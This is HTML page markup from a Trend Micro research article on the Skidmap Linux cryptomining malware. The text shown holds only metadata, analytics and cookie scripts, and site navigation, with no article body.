<!DOCTYPE HTML>
<html lang="en-GB">

<!-- OneTrust Cookies Consent Notice start for trendmicro.com -->
<script type="text/javascript" src="https://cdn.cookielaw.org/consent/821060e3-3f9c-4a2f-8613-8e0db4841f79/OtAutoBlock.js"></script>
<script src="https://cdn.cookielaw.org/scripttemplates/otSDKStub.js" type="text/javascript" charset="UTF-8" data-domain-script="821060e3-3f9c-4a2f-8613-8e0db4841f79"></script>
<script type="text/javascript">function OptanonWrapper() { }</script>
<!-- OneTrust Cookies Consent Notice end for trendmicro.com -->

<!-- Begin mPulse library -->
<script>
	(function(){
		// Boomerang Loader Snippet version 10
		if (window.BOOMR && (window.BOOMR.version || window.BOOMR.snippetExecuted)) {
			return;
		}

		window.BOOMR = window.BOOMR || {};
		window.BOOMR.snippetExecuted = true;

		var dom, doc, where, iframe = document.createElement("iframe"), win = window;

		function boomerangSaveLoadTime(e) {
			win.BOOMR_onload = (e && e.timeStamp) || new Date().getTime();
		}

		if (win.addEventListener) {

			win.addEventListener("load", boomerangSaveLoadTime, false);

		} else if (win.attachEvent) {
			win.attachEvent("onload", boomerangSaveLoadTime);
		}

		iframe.src = "javascript:void(0)";
		iframe.title = "";
		iframe.role = "presentation";
		(iframe.frameElement || iframe).style.cssText = "width:0;height:0;border:0;display:none;";
		where = document.getElementsByTagName("script")[0];
		where.parentNode.insertBefore(iframe, where);

		try {
			doc = iframe.contentWindow.document;

		} catch (e) {

			dom = document.domain;
			iframe.src = "javascript:var d=document.open();d.domain='" + dom + "';void(0);";
			doc = iframe.contentWindow.document;
		}

		doc.open()._l = function() {

			var js = this.createElement("script");

			if (dom) {
				this.domain = dom;
			}

			js.id = "boomr-if-as";

			js.src = "https://s.go-mpulse.net/boomerang/" + "TU3LW-WPX5W-YK52N-GNWRK-Z5B9X";
			BOOMR_lstart = new Date().getTime();
			this.body.appendChild(js);
		};
		doc.write('<bo' + 'dy onload="document._l();">');
		doc.close();
	})();
</script>
<!-- END mPulse library -->

   	
	
	

	<script type="text/javascript" src="/etc.clientlibs/clientlibs/granite/jquery.min.js"></script>
	<script type="text/javascript" src="/etc.clientlibs/clientlibs/granite/utils.min.js"></script>

	<script type="text/javascript">
		if (typeof Granite !== "undefined" && Granite.I18n){
			Granite.I18n.setLocale("en_gb" || "en");
		}
	</script>
	
    <head>
    
    
    
    
    <meta charset="UTF-8"/>
    <meta name="viewport" content="width=device-width"/>
	<meta name="description" content="Skidmap, a Linux malware that we recently stumbled upon, demonstrates the increasing complexity of cryptocurrency-mining threats. This malware is notable for how it loads malicious kernel modules to keep its cryptocurrency mining operations hidden."/>
	<meta name="robots" content="index,follow"/>
	<meta name="keywords" content="malware,cyber threats,research"/>
	<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>
	<meta name="template" content="article1withouthero"/>
    <meta property="article:published_time" content="2019-09-16"/>
    <meta property="article:tag" content="cyber threats"/>
    <meta property="article:section" content="research"/>
    
    <link rel="icon" type="image/ico" href="/content/dam/trendmicro/favicon.ico"/>
	<link rel="canonical" href="https://www.trendmicro.com/en_gb/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html"/>

    <title>Skidmap Malware Uses Rootkit to Hide Mining Payload</title>
			 
    

    <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600" rel="stylesheet"/>
<link href="//customer.cludo.com/css/296/1798/cludo-search.min.css" type="text/css" rel="stylesheet"/>



    
    
    

    
    
    
    
<link rel="stylesheet" href="/etc.clientlibs/trendresearch/clientlibs/clientlib-trendresearch.min.css" type="text/css">



    

    

    <script src="//tags.tiqcdn.com/utag/trendmicro/europe/prod/utag.sync.js"></script>
	<meta property="og:url" content="https://www.trendmicro.com/en_gb/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html"/>
<meta property="og:title" content="Skidmap Malware Uses Rootkit to Hide Mining Payload"/>
<meta property="og:description" content="Skidmap, a Linux malware that we recently stumbled upon, demonstrates the increasing complexity of cryptocurrency-mining threats. This malware is notable for how it loads malicious kernel modules to keep its cryptocurrency mining operations hidden."/>
<meta property="og:site_name" content="Trend Micro"/>
<meta property="og:image" content="https://www.trendmicro.com/content/dam/trendmicro/global/en/research/19/i/skidmap-malware-uses-rootkit-to-hide-mining-payload/skidmap-linux-malware-uses-641.jpg"/>
<meta property="og:locale" content="en_GB"/>

	<meta name="twitter:card" content="summary_large_image"/>
<meta name="twitter:site" content="@TrendMicro"/>
<meta name="twitter:title" content="Skidmap Malware Uses Rootkit to Hide Mining Payload"/>
<meta name="twitter:description" content="Skidmap, a Linux malware that we recently stumbled upon, demonstrates the increasing complexity of cryptocurrency-mining threats. This malware is notable for how it loads malicious kernel modules to keep its cryptocurrency mining operations hidden."/>
<meta name="twitter:image" content="https://www.trendmicro.com/content/dam/trendmicro/global/en/research/19/i/skidmap-malware-uses-rootkit-to-hide-mining-payload/skidmap-linux-malware-uses-641.jpg"/>

</head>
    
    <body class="articlepage page basicpage context-business">
		<!-- Page Scroll: Back to Top -->
		<a id="page-scroll" title="VerticalPageScroll" href="javascript:jumpScroll($(this).scrollTop());">
			<span class="icon-chevron-up"></span>
		</a>

        
                      
     		<!-- /* Data Layer */ -->
			<script type="text/javascript">
				var utag_data = {"customer_cookie_type":"business","language_code":"en_gb","page_name":"research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/en_gb","category_id":"en_gb/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload","page_type":"unknown","site_section":"research","post_author":"Augusto Remillano II|Threats Analyst,Jakub Urbanec|Threat Researcher,Wilbert Luy|Threats Analyst","post_date":"2019-09-16"};
			</script>

			<script type="text/javascript">(function(a,b,c,d){a='//tags.tiqcdn.com/utag/trendmicro/europe/prod/utag.js';b=document;c='script';d=b.createElement(c);d.src=a;d.type='text/java'+c;d.async=true;a=b.getElementsByTagName(c)[0];a.parentNode.insertBefore(d,a);})();</script>

            



            
<div class="header globalHeaderV2">

<div class="disruptorPanel">

<div class="disruptor-panel__alert">

	<div class="inner-container">
		<button class="sliding-dismiss-button">
			<span class="button-text">dismiss</span>
			<span class="icon-close"></span>
		</button>
	</div>
</div>
</div>
<div class="main-header new-main-header">
	<!-- Nav Sticky Wrapper -->
	<div class="nav-sticky-wrapper">
		<!-- Top Bar -->
		<div class="top-bar hidden-xs hidden-sm">
			<div class="inner-container">
				<div class="utility-col">
					<div class="utilityMenu utilityMenu-desktop"><nav class="utilityMenu__wrapper">

	<div class="dropdown utilityAlerts ">
	<button class="menu-button" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
		<span class="hidden menu-button__alert-count"></span>
		<span class="menu-button__icon icon-alert"></span>
		<span class="menu-button__text">Alerts</span>
	</button>
	<ul class="hidden dropdown-menu alerts-container ">
	</ul>

<ul class="dropdown-menu no-alerts"><li>No new notifications at this time.</li></ul>

</div>

	
	

		<!-- /* Determine if we need to act as a link button, or a drop down menu */ -->
		

		
		<div class="dropdown hidden-xs ">
			<button class="menu-button button-default" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
				<span class="menu-button__icon icon-download"></span>
				<span class="menu-button__text">Download</span>
			</button>
			



			
				<ul class="dropdown-menu align-">
					
						<li>
							<a href="/en_gb/business/products/downloads.html#scan-engines" id="a-util-download-scan-engines">
								
								Scan Engines
								
							</a>
						</li>
					
						<li>
							<a href="/en_gb/business/products/downloads.html#all-pattern-files" id="a-util-download-pattern-files">
								
								All Pattern Files
								
							</a>
						</li>
					
						<li>
							<a href="/en_gb/business/products/downloads.html" id="a-util-download-all-downloads">
								
								All Downloads
								
							</a>
						</li>
					
						<li class=" is-phone-number ">
							<a href="http://downloadcenter.trendmicro.com/index.php?clk=left_nav&clkval=rss_feed&regs=GB" target="_blank" id="a-util-download-subscribe-rss-center" rel="noopener noreferrer" class="no-border ">
								
								Subscribe to Download Center RSS
								
							</a>
						</li>
					
				</ul>
			

			
		</div>
	

	


	

	
	

		<!-- /* Determine if we need to act as a link button, or a drop down menu */ -->
		

		
		<div class="dropdown ">
			<button class="menu-button button-default" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
				<span class="menu-button__icon icon-cart"></span>
				<span class="menu-button__text">Buy</span>
			</button>
			



			
				<ul class="dropdown-menu align-">
					
						<li class=" hidden-context-home ">
							<a href="/en_gb/partners/find-a-partner.html" id="b-util-buy-find-partner">
								
								Find a Partner
								
							</a>
						</li>
					
						<li class=" hidden-context-business ">
							<a href="http://store.trendmicro.com/store/tmamer/Content/pbPage.Home/pgm.4823570300/" target="_blank" id="b-util-buy-home-office-store" rel="noopener noreferrer">
								
								Home Office Online Store
								
							</a>
						</li>
					
						<li class=" hidden-context-business ">
							<a href="http://store.trendmicro.com/store/tmamer/html/pbPage.ManualRenew/ThemeID.7735600" target="_blank" id="b-util-buy-home-renew" rel="noopener noreferrer">
								
								Renew Online
								
							</a>
						</li>
					
						<li class=" hidden-context-business ">
							<a href="/en_gb/forHome/products/free-tools.html" id="b-util-buy-tools" class="no-border ">
								
								Free Tools
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="/en_gb/business/get-info-form.html" id="b-util-buy-contact-sales">
								
								Contact Sales
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="/en_gb/contact.html" id="b-util-buy-locations">
								
								Locations Worldwide
								
							</a>
						</li>
					
						<li class="dropdown-header hidden-context-home is-phone-number ">
							
								
								+44 (0) 203 549 3300
								
							
						</li>
					
						<li class="dropdown-header hidden-context-home ">
							
								
								Small Business
								
							
						</li>
					
						<li class=" hidden-context-home ">
							<a href="http://buyonline.trendmicro.com/" target="_blank" id="b-util-buy-business-buy-online" rel="noopener noreferrer">
								
								Buy Online
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="https://orp.trendmicro.com/EMEAORP" target="_blank" id="b-util-buy-business-renew" rel="noopener noreferrer">
								
								Renew Online
								
							</a>
						</li>
					
				</ul>
			

			
		</div>
	

	


	

	
	

		<!-- /* Determine if we need to act as a link button, or a drop down menu */ -->
		

		
		<div class="dropdown stretched-dropdown">
			<button class="menu-button button-default" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
				<span class="menu-button__icon icon-region"></span>
				<span class="menu-button__text">Region</span>
			</button>
			



			

			
				<div class="dropdown-menu align-">
					<ul class="menu-column col-xs-12 col-sm-4 col-md-3">
						
							<li class="dropdown-header">
								
									
									The Americas
									
								
							</li>
						
							<li>
								<a href="/en_us.html">
									
									United States
									
								</a>
							</li>
						
							<li>
								<a href="/pt_br.html">
									
									Brasil
									
								</a>
							</li>
						
							<li>
								<a href="/en_ca.html">
									
									Canada
									
								</a>
							</li>
						
							<li>
								<a href="/es_mx.html" class="no-border ">
									
									México
									
								</a>
							</li>
						
							<li class="dropdown-header">
								
									
									Middle East &amp; Africa
									
								
							</li>
						
							<li>
								<a href="/en_za.html">
									
									South Africa
									
								</a>
							</li>
						
							<li>
								<a href="/en_ae.html">
									
									Middle East and North Africa
									
								</a>
							</li>
						
							<li class="dropdown-header break-column-desktop break-column-tablet">
								
									
									Europe
									
								
							</li>
						
							<li>
								<a href="/en_be.html">
									
									België (Belgium)
									
								</a>
							</li>
						
							<li>
								<a href="http://www.trendmicro.cz/">
									
									Česká Republika
									
								</a>
							</li>
						
							<li>
								<a href="/en_dk.html">
									
									Danmark
									
								</a>
							</li>
						
							<li>
								<a href="/de_de.html">
									
									Deutschland, Österreich Schweiz
									
								</a>
							</li>
						
							<li>
								<a href="/es_es.html">
									
									España
									
								</a>
							</li>
						
							<li>
								<a href="/fr_fr.html">
									
									France
									
								</a>
							</li>
						
							<li>
								<a href="/en_ie.html">
									
									Ireland
									
								</a>
							</li>
						
							<li>
								<a href="/it_it.html">
									
									Italia
									
								</a>
							</li>
						
							<li>
								<a href="/en_nl.html">
									
									Nederland
									
								</a>
							</li>
						
							<li class=" break-column-desktop">
								<a href="/en_no.html">
									
									Norge (Norway)
									
								</a>
							</li>
						
							<li>
								<a href="/pl_pl.html">
									
									Polska (Poland)
									
								</a>
							</li>
						
							<li>
								<a href="/ru_ru.html">
									
									Россия (Russia)
									
								</a>
							</li>
						
							<li>
								<a href="/en_fi.html">
									
									Suomi (Finland)
									
								</a>
							</li>
						
							<li>
								<a href="/en_se.html">
									
									Sverige (Sweden)
									
								</a>
							</li>
						
							<li>
								<a href="/tr_tr.html">
									
									Türkiye (Turkey)
									
								</a>
							</li>
						
							<li>
								<a href="/en_gb.html" class="no-border ">
									
									United Kingdom
									
								</a>
							</li>
						
							<li class="dropdown-header break-column-desktop break-column-tablet">
								
									
									Asia Pacific
									
								
							</li>
						
							<li>
								<a href="/en_au.html">
									
									Australia
									
								</a>
							</li>
						
							<li>
								<a href="/en_hk.html">
									
									Hong Kong (English)
									
								</a>
							</li>
						
							<li>
								<a href="/zh_hk.html">
									
									香港 (中文) (Hong Kong) 
									
								</a>
							</li>
						
							<li>
								<a href="/en_in.html">
									
									भारत गणराज्य (India)
									
								</a>
							</li>
						
							<li>
								<a href="/in_id.html">
									
									Indonesia
									
								</a>
							</li>
						
							<li>
								<a href="/ja_jp.html">
									
									日本 (Japan)
									
								</a>
							</li>
						
							<li>
								<a href="/ko_kr/business.html">
									
									대한민국 (South Korea)
									
								</a>
							</li>
						
							<li>
								<a href="/en_my.html">
									
									Malaysia
									
								</a>
							</li>
						
							<li>
								<a href="/en_nz.html">
									
									New Zealand
									
								</a>
							</li>
						
							<li class=" break-column-desktop">
								<a href="/en_ph.html">
									
									Philippines
									
								</a>
							</li>
						
							<li>
								<a href="/en_sg.html">
									
									Singapore
									
								</a>
							</li>
						
							<li>
								<a href="/zh_tw.html">
									
									台灣 (Taiwan)
									
								</a>
							</li>
						
							<li>
								<a href="/th_th.html">
									
									 ประเทศไทย (Thailand)
									
								</a>
							</li>
						
							<li>
								<a href="/vi_vn.html" class="no-border ">
									
									Việt Nam
									
								</a>
							</li>
						
					</ul>
				</div>
			
		</div>
	

	


	

	
	

		<!-- /* Determine if we need to act as a link button, or a drop down menu */ -->
		

		
		<div class="dropdown ">
			<button class="menu-button button-default" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
				<span class="menu-button__icon icon-login"></span>
				<span class="menu-button__text">Log In</span>
			</button>
			



			
				<ul class="dropdown-menu align-">
					
						<li class=" hidden-context-home ">
							<a href="https://success.trendmicro.com/sign-in" target="_blank" id="d-util-login-business-support" rel="noopener noreferrer">
								
								My Support
								
							</a>
						</li>
					
						<li class=" hidden-context-business ">
							<a href="https://esupport.trendmicro.com/en-us/home/pages/resources.aspx" target="_blank" id="d-util-login-home-support" rel="noopener noreferrer" class="no-border ">
								
								Log In to Support
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="https://community-trendmicro.force.com/Partner" target="_blank" id="d-util-login-partner" rel="noopener noreferrer">
								
								Partner Portal
								
							</a>
						</li>
					
						
					
						
					
						<li class="dropdown-header hidden-context-business ">
							
								
								Home Solutions
								
							
						</li>
					
						<li class=" hidden-context-business ">
							<a href="https://account.trendmicro.com/?utm_source=www.trendmicro.com&utm_medium=referral" target="_blank" id="d-util-login-my-account" rel="noopener noreferrer">
								
								My Account
								
							</a>
						</li>
					
						<li class=" hidden-context-business ">
							<a href="http://www.trendmicro.com/ilostmyandroid" target="_blank" id="d-util-login-lost-device-portal" rel="noopener noreferrer">
								
								Lost Device Portal
								
							</a>
						</li>
					
						<li class=" hidden-context-business ">
							<a href="https://www.trendsecure.com/report_stolen/locker/report" target="_blank" id="d-util-login-tm-vault" rel="noopener noreferrer">
								
								Trend Micro Vault
								
							</a>
						</li>
					
						<li class=" hidden-context-business ">
							<a href="http://pwm.trendmicro.com/" target="_blank" id="d-util-login-password-manager" rel="noopener noreferrer">
								
								Password Manager
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="https://clp.trendmicro.com/" target="_blank" id="d-util-login-cust-license-portal" rel="noopener noreferrer">
								
								Customer Licensing Portal
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="https://esupport.trendmicro.com/oct" target="_blank" id="d-util-login-case-tracking" rel="noopener noreferrer">
								
								Online Case Tracking
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="https://success.trendmicro.com/sign-in" target="_blank" id="d-util-login-premium-support" rel="noopener noreferrer">
								
								Premium Support
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="https://sso.trendmicro.com/sso/form/authenticate.aspx" target="_blank" id="d-util-login-wfb-security-services" rel="noopener noreferrer">
								
								Worry-Free Business Security Services
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="https://tm.login.trendmicro.com/authenticate/api/false/tmrm" target="_blank" id="d-util-login-remote-manager" rel="noopener noreferrer">
								
								Remote Manager
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="https://cloudone.trendmicro.com/" target="_blank" id="d-util-login-cloud-one" rel="noopener noreferrer">
								
								Cloud One
								
							</a>
						</li>
					
						<li class=" hidden-context-business ">
							<a href="https://signup.cj.com/member/signup/publisher/?cid=1157059" target="_blank" id="d-util-login-home-referral" rel="noopener noreferrer" class="no-border ">
								
								Referral Affiliate
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="https://signup.cj.com/member/signup/publisher/?cid=1867119#/branded?_k=xaeu3t" target="_blank" id="d-util-login-business-referral" rel="noopener noreferrer">
								
								Referral Affiliate
								
							</a>
						</li>
					
				</ul>
			

			
		</div>
	

	


	

	
	

	


	

	
	

		<!-- /* Determine if we need to act as a link button, or a drop down menu */ -->
		

		
		<div class="dropdown ">
			<button class="menu-button desktop-text button-red" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
				<span class="menu-button__icon icon-contact"></span>
				<span class="menu-button__text">Contact Us</span>
			</button>
			



			
				<ul class="dropdown-menu align-">
					
						<li class=" hidden-context-home ">
							<a href="/en_gb/business/get-info-form.html" id="f-util-contact-sales">
								
								Contact Sales
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="/en_gb/contact.html" id="f-util-contact-office-locations">
								
								Locations
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="https://success.trendmicro.com/technical-support" id="f-util-contact-tech-support">
								
								Support
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="/en_gb/partners/find-a-partner.html" id="f-util-contact-find-partners">
								
								Find a Partner
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="/en_gb/about/events.html" id="f-util-contact-events">
								
								Learn of upcoming events
								
							</a>
						</li>
					
						<li class="dropdown-header hidden-context-home ">
							
								
								Social Media Networks
								
							
						</li>
					
						<li class=" hidden-context-home ">
							<a href="https://www.facebook.com/TrendMicroEurope" id="f-util-contact-facebook">
								
								Facebook
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="https://twitter.com/trendmicrouk" id="f-util-contact-twitter">
								
								Twitter
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="https://www.linkedin.com/company/trend-micro-europe" id="f-util-contact-linkedin">
								
								Linkedin
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="https://www.youtube.com/user/TrendMicroEurope" id="f-util-contact-youtube">
								
								Youtube
								
							</a>
						</li>
					
						<li class=" hidden-context-home ">
							<a href="https://www.instagram.com/trendmicro/" id="f-util-contact-instagram">
								
								Instagram
								
							</a>
						</li>
					
						<li class="dropdown-header is-phone-number ">
							
								
								+44 (0) 203 549 3300
								
							
						</li>
					
				</ul>
			

			
		</div>
	

	<div class="dropdown utility-dropdown-search hidden-sm hidden-md hidden-lg">
		<button class="menu-button utility-search-button" type="button">
			<span class="menu-button__icon icon-search-thin"></span>
		</button>
	</div>
</nav>

</div>
				</div>
			</div>
		</div>
		<!-- Bottom Bar -->
		<div class="bottom-bar">
			<div class="inner-container">
				<nav class="mainNavMenu"><!--  Inner Container -->
<div class="inner-container">
	<!--  Logo Toggle Col -->
	<div class="logo-toggle-col">
		<div class="newlogo logo"><a href="/en_gb/business.html">
	<img class="hidden-xs" src="/content/dam/trendmicro/global/en/global/logo/logo-desktop.png" alt="Trend Micro Security"/>
	<img class="hidden-sm hidden-md hidden-lg" src="/content/dam/trendmicro/global/en/global/logo/logo-desktop.png" alt="Trend Micro Security"/>
</a>


</div>
		<div class="toggle">
	<div class="toggle-button active">
		<a href="/en_gb/business.html" data-businesscontext="true">
			Business&nbsp;
			<span class="icon-chevron-right hidden-xs"></span>
		</a>
	</div>
	<div class="toggle-button">
		<a href="/en_gb/forHome.html" data-businesscontext="false">
			For Home&nbsp;
			<span class="icon-chevron-right hidden-xs"></span>
		</a>
	</div>

</div>
		<div class="mobile-right-controls hidden visible-xs visible-sm">
			<a href="#newnavmenu-mobile" class="menu-link toggle-newnavmenu-mobile collapsed" data-toggle="collapse">
				<div class="menu-icon">
					<div class="center-bar"></div>
				</div>
			</a>
			<div class="search-mobile toggle-search-mobile collapsed" data-target="#search-mobile-wrapper" data-toggle="collapse">
				<span class="icon-search"></span>
			</div>
		</div>
	</div>
	<!--  Nav Wrapper -->
	<div class="nav-wrapper collapse to-right dont-collapse-flex-md" id="newnavmenu-mobile">
		
			<div class="dropdown">
				
				
				
					<button class="menu-toggle hidden-xs hidden-sm" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
						Products
					</button>
					<button class="menu-toggle hidden-md hidden-lg" type="button" data-toggle="collapse" data-target="#nav-dropdown-0" aria-haspopup="true" aria-expanded="false">
						Products
					</button>
					<div class="dropdown-menu" id="nav-dropdown-0">
						<div class="responsiveColumnControl section">

<style>>
#responsive-column-bcfe1574-a9dd-4124-9dd4-cd81000a3b29 {
	margin-top:0;
	padding-top:0;
	padding-bottom:0;
	margin-bottom:40px;
}
</style>



<div class="row
			
			null global-margin-top- global-padding-top- global-padding-bottom- global-margin-bottom-" id="responsive-column-bcfe1574-a9dd-4124-9dd4-cd81000a3b29">
	<div class="col-sm-12 col-xs-12 col-md-12 column"><div class="navCategory section">
<div class="white left-align-full show-dividers columns-container">
	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-red" id="b-nav-products-hcs" href="/en_gb/business/products/hybrid-cloud.html">Hybrid Cloud Security</a>
</div>
		<div class="parsys navColumnItems"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-products-hcs-workload-security" href="/en_gb/business/products/hybrid-cloud/cloud-one-workload-security.html">
	Workload Security
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-products-hcs-conformity" href="/en_gb/business/products/hybrid-cloud/cloud-one-conformity.html">
	Conformity
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-products-hcs-container-security" href="/en_gb/business/products/hybrid-cloud/cloud-one-container-image-security.html">
	Container Security
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-products-hcs-file-storage-security" href="/en_gb/business/products/hybrid-cloud/cloud-one-file-storage-security.html">
	File Storage Security
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-products-hcs-application-security" href="/en_gb/business/products/hybrid-cloud/cloud-one-application-security.html">
	Application Security
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-products-hcs-network-security" href="/en_gb/business/products/hybrid-cloud/cloud-one-network-security.html">
	Network Security
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-products-hcs-open-source" href="/en_gb/business/products/hybrid-cloud/cloud-one-open-source-security-by-snyk.html">
	Open Source Security
	
</a>

</div>

</div>
	</div>

	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-red" id="b-nav-products-network-security" href="/en_gb/business/products/network.html">Network Security</a>
</div>
		<div class="parsys navColumnItems"><div class="navLink section">
<a class=" text-color-" id="b-nav-products-network-intrusion-prevention" href="/en_gb/business/products/network/intrusion-prevention.html">
	Intrusion Prevention
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-" id="b-nav-products-network-advanced-threat-protection" href="/en_gb/business/products/network/advanced-threat-protection.html">
	Advanced Threat Protection
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-products-industrial-network-security" href="/en_gb/business/products/iot/industrial-network-security.html">
	Industrial Network Security
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-products-mobile-network-security" href="/en_gb/business/products/iot/mobile-network-security.html">
	Mobile Network Security
	
</a>

</div>

</div>
	</div>

	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-red" id="b-nav-products-user-protection" href="/en_gb/business/products/user-protection.html">User Protection</a>
</div>
		<div class="parsys navColumnItems"><div class="navLink section">
<a class=" text-color-" id="b-nav-products-up-endpoint-security" href="/en_gb/business/products/user-protection/sps/endpoint.html">
	Endpoint Security
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-" id="b-nav-products-up-email-security" href="/en_gb/business/products/user-protection/sps/email-and-collaboration.html">
	Email Security
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-products-up-mobile-security" href="/en_gb/business/products/user-protection/sps/mobile-security-enterprise.html">
	Mobile Security
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-" id="b-nav-products-up-web-security" href="/en_gb/business/products/user-protection/sps/web-security.html">
	Web Security
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-products-up-industrial-endpoint" href="/en_gb/business/products/iot/industrial-endpoint-security.html">
	Industrial Endpoint
	
</a>

</div>

</div>
	</div>

	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-red" id="b-nav-products-detection-response" href="/en_gb/business/products/detection-response.html">Detection &amp; Response</a>
</div>
		<div class="parsys navColumnItems"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-products-detection-response-xdr" href="/en_gb/business/products/detection-response/xdr.html">
	XDR
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-products-detection-response-zero-trust" href="/en_gb/business/products/detection-response/zero-trust.html">
	Zero Trust Risk Insights
	
</a>

</div>

</div>
	</div>

	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-gray">Powered by</a>
</div>
		<div class="parsys navColumnItems"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-key-products-machine-learning" href="/content/trendmicro/en_gb/business/technologies/machine-learning">
	AI/Machine Learning
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-key-products-global-threat-intelligence" href="/en_gb/about/threat-research.html">
	Global Threat Intelligence
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-" id="b-nav-products-key-connected-threat-defense" href="/en_gb/business/technologies/connected-threat-defense.html">
	Connected Threat Defense
	
</a>

</div>

</div>
	</div>
</div>

</div>
<div class="navCategory section">
<div class="white center-align  columns-container">
	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-gray" id="b-nav-products-all-products" href="/en_gb/business/products.html">All Products &amp; Trials</a>
</div>
		<div class="parsys navColumnItems">
</div>
	</div>

	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-gray" id="b-nav-products-all-solutions" href="/en_gb/business/products/all-solutions.html">All Solutions</a>
</div>
		<div class="parsys navColumnItems">
</div>
	</div>

	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-gray" id="b-nav-products-service-packages" href="/en_gb/business/services/service-one.html">Service Packages</a>
</div>
		<div class="parsys navColumnItems">
</div>
	</div>

	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-gray" id="b-nav-products-small-business" href="/en_gb/small-business/worry-free-services-advanced.html">Small &amp; Midsize Business Security</a>
</div>
		<div class="parsys navColumnItems">
</div>
	</div>
</div>

</div>

</div>
</div>
</div>


					</div>
				
			</div>
		
			<div class="dropdown">
				
				
				
					<button class="menu-toggle hidden-xs hidden-sm" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
						Solutions
					</button>
					<button class="menu-toggle hidden-md hidden-lg" type="button" data-toggle="collapse" data-target="#nav-dropdown-1" aria-haspopup="true" aria-expanded="false">
						Solutions
					</button>
					<div class="dropdown-menu" id="nav-dropdown-1">
						<div class="responsiveColumnControl section">

<style>>
#responsive-column-3dac59fc-4da0-4e4c-a37a-17dc1e537754 {
	margin-top:0;
	padding-top:0;
	padding-bottom:0;
	margin-bottom:40px;
}
</style>



<div class="row
			
			null global-margin-top- global-padding-top- global-padding-bottom- global-margin-bottom-" id="responsive-column-3dac59fc-4da0-4e4c-a37a-17dc1e537754">
	<div class="col-sm-12 col-xs-12 col-md-12 column"><div class="navCategory section">
<div class="gray left-align-full show-dividers columns-container">
	<div class="column">
		<div class="navColumnTitle">
<a class="title title-color-gray" id="b-nav-solutions-cloud" href="/en_gb/business/capabilities/solutions-for/cloud.html">For Cloud</a>
</div>
		<div class="parsys navColumnItems"><div class="navLink section">
<a class=" text-color-gray" id="b-nav-solutions-hcs-cloud-migration" href="/en_gb/business/products/hybrid-cloud/cloud-migration-security.html">
	Cloud Migration
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-solutions-hcs-cloud-native-app-dev" href="/en_gb/business/products/hybrid-cloud/cloud-native-application-development.html">
	Cloud-Native App Development
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-solutions-hcs-cloud-op-excellence" href="/en_gb/business/products/hybrid-cloud/cloud-operational-excellence.html">
	Cloud Operational Excellence
	
</a>

</div>
<div class="navLink section">
<a class=" text-color-gray" id="b-nav-solutions-hcs-data-center-security" href="/en_gb/business/products/hybrid-cloud/security-data-center-virtualization.html">
	Data Center Security
	
